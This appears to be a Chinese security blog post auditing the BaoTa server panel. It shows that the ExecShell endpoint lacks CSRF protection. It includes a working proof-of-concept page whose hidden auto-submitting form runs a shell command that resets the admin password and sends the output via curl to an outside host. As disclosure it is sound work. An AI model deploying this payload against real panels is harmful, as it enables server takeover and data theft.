前言
我自己就在用宝塔面板,但是网上没有搜索到相关的漏洞信息,又担心某一天一不小心自己就被黑了,那就尴尬了.
决定审计一波。
宝塔面板对登录验证的逻辑十分到位,很多操作都需要登录后才能进行,我姿势水平有限.审了半天只审出来一堆CSRF的洞….赶脚我好菜啊…
下面随便拿一个举个例子….
漏洞位置
#files.py lines:922-935
def ExecShell(self,get):
disabled = ['vi','vim','top','passwd','su']
get.shell = get.shell.strip()
tmp = get.shell.split(' ');
if tmp[0] in disabled: return public.returnMsg(False,'FILE_SHELL_ERR',(tmp[0],));
shellStr = '''#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
cd %s
%s
''' % (get.path,get.shell)
public.writeFile('/tmp/panelShell.sh',shellStr);
os.system('nohup bash /tmp/panelShell.sh > /tmp/panelShell.pl 2>&1 &');
return public.returnMsg(True,'FILE_SHELL_EXEC');
流程分析
我们跟进一下,看一下具体流程
#main.py
#lines:41
{...
'/files' , 'panelFiles'
...}
#lines 351-365
class panelFiles(common.panelAdmin):
def GET(self):
data = {}
data['lan'] = public.getLan('files')
return render.files(data)
def POST(self):
import files
filesObject = files.files()
defs = ('CheckExistsFiles','GetExecLog','GetSearch','ExecShell','GetExecShellMsg','UploadFile','GetDir','CreateFile','CreateDir','DeleteDir','DeleteFile',
'CopyFile','CopyDir','MvFile','GetFileBody','SaveFileBody','Zip','UnZip',
'GetFileAccess','SetFileAccess','GetDirSize','SetBatchData','BatchPaste',
'DownloadFile','GetTaskSpeed','CloseLogs','InstallSoft','UninstallSoft',
'RemoveTask','ActionTask','Re_Recycle_bin','Get_Recycle_bin','Del_Recycle_bin','Close_Recycle_bin','Recycle_bin')
return publicObject(filesObject,defs);
#---一些无关代码---
#lines 940-953
def publicObject(toObject,defs):
get = web.input(zunfile = {},data = []);
if hasattr(get,'path'):
get.path = get.path.replace('//','/').replace('\\','/');
if get.path.find('->') != -1:
get.path = get.path.split('->')[0].strip();
for key in defs:
if key == get.action:
fun = 'toObject.'+key+'(get)'
if hasattr(get,'html'):
return eval(fun)
else:
return public.getJson(eval(fun))
return public.returnJson(False,'ARGS_ERR')
可以看到,宝塔并未对CSRF攻击进行防御,直接将用户请求调用函数执行了..
EXP
就以命令执行修改密码为例
当攻击者构造
<!-- raw.html -->
<html>
<meta charset="UTF-8">
<h1>这是一个测试页面..</h1>
<h2>什么都没有.
<h2>blog:https://www.hexlt.org/
<div style="display:none"><iframe src="1.html" style="display:none"></iframe></div>
</html>
<!-- 1.html -->
<meta charset="UTF-8">
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
<div id="ss"><form id="form_id" action="http://www.bt.cn:8888/files?action=ExecShell" method="post"><input name="path" value="/www/server/panel" type="hidden"><input value='curl --data "result=`python tools.pyc panel justforfun963.`" http://xss.hexlt.org/index.php' name='shell' type="hidden"><input type="submit">
</div>
<script type="text/javascript">
$("#form_id").submit();
</script>
如果管理员登录了宝塔面板,在session失效前打开了攻击者的网页
那么将在他毫不知情的情况下密码被改为 justforfun963.
并将用户名发送给攻击者
如果不能载图请用谷歌浏览器打开,火狐sm.ms的图床会崩掉..
结合社工可以达到一定危害。